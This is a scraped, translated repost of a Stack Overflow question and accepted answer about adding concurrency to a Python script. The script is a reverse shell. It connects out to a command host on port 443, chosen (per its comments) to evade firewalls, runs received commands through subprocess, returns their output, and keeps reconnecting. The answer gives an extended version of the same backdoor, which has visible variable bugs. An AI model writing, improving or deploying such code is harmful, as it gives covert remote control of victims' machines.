gpt4 book ai didi

python - 与子流程模块并发。我怎样才能做到这一点?

转载 作者:太空狗 更新时间:2023-10-29 20:23:51 26 4
gpt4 key购买 nike

下面的代码有效,但每次您运行程序时,例如目标机器上的记事本,提示都会卡住,直到我退出程序。

如何在目标机器上同时运行多个程序?我想它可以通过线程或子进程模块来实现,但我仍然不能使用这个概念。

我该怎么做?

import socket
import time
import subprocess #Executar comandos do SO

#criando a conexao reversa

IP = '192.168.1.33' # ip do cliente linux netcat que sera a central de comando
PORT = 443 # usamos a porta de https pra confundir o firewall : a conexao de saida nao sera bloqueada

def connect(IP,PORT):
#conectando a central de controle
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # IP/TCP

s.connect((IP,PORT))
s.send('[!] Conexao recebida\n') # msg pra ver se foi conectado
#s.close()
return s
except Exception as e:
print('Erro de conexao',e )
return None

def listen(s):
##qdo o cliente nao esta escutando, da erro na conexao e fecha!. Nao quero isso. O server tem que ficar o tempo todo tentando ate conectar!
## versao 3!!!!!!!!!!
#versao 4 usa while True

##########loop infinito para receber comandos
try:

while True:
data = s.recv(1024) # a central de controle envia tb o "Enter" que teclamos apos cada comando {\n}
#print(data)
if data[:-1] == '/exit': #tudo exceto o ultimo caractere, que eh o \n
s.close()#fechar conexao
exit(0) # 0 eh execucao normal/sem erros
else: #executar os comandos
cmd(s,data)
except:
main(s)

def cmd(s,data):
try:
proc = subprocess.Popen(data, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
saida = s.send(proc.stdout.read() + proc.stderr.read())
s.send(saida)
#print(proc.stdout.read())
except:
main(s)

def main(s):
if s:
s.close()

while True:
s_connected = connect(IP,PORT)
if s_connected:
listen(s_connected)
else:
print("deu erro na conexao, tentando de novo!!!")##so pra debug
time.sleep(10)

#return 0 #nao precisa

s = None
main(s)

最佳答案

尝试这样的事情:

import socket
import time
import subprocess
import select

IP = '192.168.1.33'
PORT = 443

def connect(IP,PORT):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((IP,PORT))
s.send('[!] Conexao recebida\n')
return s
except Exception as e:
print('Erro de conexao',e )
return None


def listen(s):
try:
# Create a polling object and register socket with it
socket_poll = select.poll()
socket_poll.register(s)
# Create a list of running processes
processes = []
while True:
# If no data is available on the socket, we can use the time to clean up processes which are finished
if not socket_poll.poll(1):
for process in tuple(processes):
if process.poll():
s.send(proc.stdout.read() + proc.stderr.read())
processes.remove(process)
continue
data = s.recv(1024)
if data[:-1] == '/exit':
s.close()
exit(0)
else:
cmd(s, data, processes)
except:
main(s)


def cmd(s, data, processes):
try:
proc = subprocess.Popen(data, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
# Add new process to the list
processes.append(proc)
except:
main(s)


def main(s):
if s:
s.close()

while True:
s_connected = connect(IP,PORT)
if s_connected:
listen(s_connected)
else:
time.sleep(10)

s = None
main(s)

很抱歉删除了西类牙语评论;)

关于python - 与子流程模块并发。我怎样才能做到这一点?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/38918337/

26 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com